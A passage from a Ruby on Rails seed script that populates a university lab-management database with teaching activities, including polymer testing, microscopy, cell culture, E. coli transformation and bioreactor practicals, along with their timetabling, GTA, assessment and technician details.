tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a479.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a480 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 2)\n at480 = ActivityTimetable.where(activity_id: a480.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a480.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a480.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a480.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a480.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a480.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a481 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: true, in_drive: false, user_id: 5)\n at481 = ActivityTimetable.where(activity_id: a481.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a481.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a481.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a481.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a481.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a481.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a482 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"236\").first_or_create!(name: \"SEM/EDX\",\n name_abrv: \"SEM/EDX\", archived: false, in_drive: false, user_id: 5)\n at482 = ActivityTimetable.where(activity_id: a482.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 4, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a482.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a482.id).first_or_create!(criteria: \"\",\n job_desc:\"During this session the students will learn basic theory and practical use of a scanning electron microscope (SEM) for topographical imaging, chemical composition analysis and mapping.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a482.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a482.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a482.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a483 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"237\").first_or_create!(name: \"Study of a Binary Eutectic Alloy of Sn and Bi\",\n name_abrv: \"Phase diagram of Sn and Bi\", archived: false, in_drive: false, user_id: 1)\n at483 = ActivityTimetable.where(activity_id: a483.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 9, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a483.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a483.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a483.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a483.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a483.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a484 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"238\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 2)\n at484 = ActivityTimetable.where(activity_id: a484.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a484.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a484.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a484.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a484.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a484.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a485 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"239\").first_or_create!(name: \"Microscopy of Cast Irons\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at485 = ActivityTimetable.where(activity_id: a485.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"From AMRC: Possibly hybrid with some parts of Metals 1 and Metals 2 - to be determined with lab lead and module leader.\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a485.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a485.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a485.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a485.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a485.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a486 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1610\").first.id, code: \"240\").first_or_create!(name: \"Crystal Maker II\",\n name_abrv: \"CRYS2\", archived: false, in_drive: false, user_id: 1)\n at486 = ActivityTimetable.where(activity_id: a486.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a486.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a486.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a486.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a486.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a486.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a487 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"300\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: false, in_drive: false, user_id: 5)\n at487 = ActivityTimetable.where(activity_id: a487.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a487.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a487.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a487.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a487.id).first_or_create!(cost_per_student: nil, equip_needed: \"Laptops, microscopes, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a487.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a488 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"301\").first_or_create!(name: \"Antibiotic production\",\n name_abrv: \"ANTIBIOTIC\", archived: false, in_drive: false, user_id: 1)\n at488 = ActivityTimetable.where(activity_id: a488.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 180, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a488.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a488.id).first_or_create!(criteria: \"\",\n job_desc:\"Production, purification and analysis of the antibiotic Tylosin from Streptomyces fradiae. Flask cultures, chemical lysis, cholorform extraction, Bradford Assay, absorbance spectroscopy, dry biomass and OD600 measurement.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a488.id).first_or_create!(assess_weight: nil, notes: \"Type TBC\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a488.id).first_or_create!(cost_per_student: nil, equip_needed: \"tbc - shaking incubators, LEV, water baths, 40R centrifuge, Class II (for prep), absorbance plate readers, balances, spectrophotometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a488.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a489 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE372\").first.id, code: \"302\").first_or_create!(name: \"Bioengineering Group Projects\",\n name_abrv: \"BIOGRP\", archived: false, in_drive: false, user_id: 5)\n at489 = ActivityTimetable.where(activity_id: a489.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a489.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a489.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a489.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a489.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a489.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a490 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"303\").first_or_create!(name: \"Bioreactors\",\n name_abrv: \"BIOREACTORS\", archived: false, in_drive: false, user_id: 1)\n at490 = ActivityTimetable.where(activity_id: a490.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 360, takedown_time: 120, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a490.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a490.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Culture and analysis of E.coli using a 1 L bioreactor.\", jobshop_desc: \"claire.johnson@sheffield.ac.uk, h.drouin@sheffield.ac.uk, helen.wright@sheffield.ac.uk\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a490.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 40)\n ActivityTech.where(activity_id: a490.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a490.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a491 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"304\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: false, in_drive: false, user_id: 4)\n at491 = ActivityTimetable.where(activity_id: a491.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a491.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a491.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a491.id).first_or_create!(assess_weight: nil, notes: \"MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a491.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, micropiettes, auto pipettes, bioincubators\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a491.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a492 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"305\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: false, in_drive: false, user_id: 3)\n at492 = ActivityTimetable.where(activity_id: a492.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 9, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 90, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a492.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a492.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a492.id).first_or_create!(assess_weight: nil, notes: \"Includes aspetic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a492.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, plate readers\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a492.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a493 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"306\").first_or_create!(name: \"DNA extraction and analysis\",\n name_abrv: \"DNAEXTRACT\", archived: false, in_drive: false, user_id: 5)\n at493 = ActivityTimetable.where(activity_id: a493.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a493.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a493.id).first_or_create!(criteria: \"Competent user of micropipettes, experience of minipreps or other DNA extraction. Agarose gel electrophoresis.\",\n job_desc:\"Plasmid DNA extraction from E.coli using silica 'miniprep' spin columns. Quantification using SYBR DNA stain and running agarose gel electrophoresis.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a493.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a493.id).first_or_create!(cost_per_student: nil, equip_needed: \"Fluorescent Plate Reader, Microcentrifuges, Gel Doc, Electrophoresis chambers and power packs, vortex mixers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a493.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a494 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"307\").first_or_create!(name: \"E.coli transformation\",\n name_abrv: \"ECOLI\", archived: false, in_drive: false, user_id: 4)\n at494 = ActivityTimetable.where(activity_id: a494.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a494.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a494.id).first_or_create!(criteria: \"Experience of bacterial transformation. Knowledge of molecular biology.\",\n job_desc:\"Transforming E.coli BL21 (DE3) with plasmid DNA.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a494.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a494.id).first_or_create!(cost_per_student: nil, equip_needed: \"bunsen burners, static incubator, shaking incubator, water bath, ice machine\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a494.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a495 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"308\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: false, in_drive: false, user_id: 4)\n at495 = ActivityTimetable.where(activity_id: a495.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at495.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a495.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a495.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a495.id).first_or_create!(assess_weight: nil, notes: \"During is data interpretation. Post is MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a495.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, micropipettes, auto pipettes, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a495.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a496 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"309\").first_or_create!(name: \"Fermentation kinetics\",\n name_abrv: \"FERMKINETICS\", archived: false, in_drive: false, user_id: 2)\n at496 = ActivityTimetable.where(activity_id: a496.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 240, notes: \"Needs to be in the afternoon due to set up time\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a496.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a496.id).first_or_create!(criteria: \"\",\n job_desc:\"3 mini experiments - Growth of yeast using 1L bioreactor and ivestigating oxygen consumption, staining and counting yeast, measuring CO2 production of yeast.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a496.id).first_or_create!(assess_weight: 6.0, notes: \"In lab assessment - this could be formative.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a496.id).first_or_create!(cost_per_student: nil, equip_needed: \"Bioreactor, Spectrophotometers, Microscopes, bunsen burners, water baths, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a496.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a497 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"310\").first_or_create!(name: \"Bioreactor scale-up (Fermentor)\",\n name_abrv: \"BIOSCALE\", archived: false, in_drive: false, user_id: 4)\n at497 = ActivityTimetable.where(activity_id: a497.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 10, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a497.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a497.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Supervising students in The DiPP\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a497.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 40)\n ActivityTech.where(activity_id: a497.id).first_or_create!(cost_per_student: nil, equip_needed: \"24/03/20\",\n last_risk_assess: nil, next_risk_assess: Date.new(18, 3, 24), tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a497.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a498 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"311\").first_or_create!(name: \"FPLC & protein analysis\",\n name_abrv: \"FPLC\", archived: false, in_drive: false, user_id: 2)\n at498 = ActivityTimetable.where(activity_id: 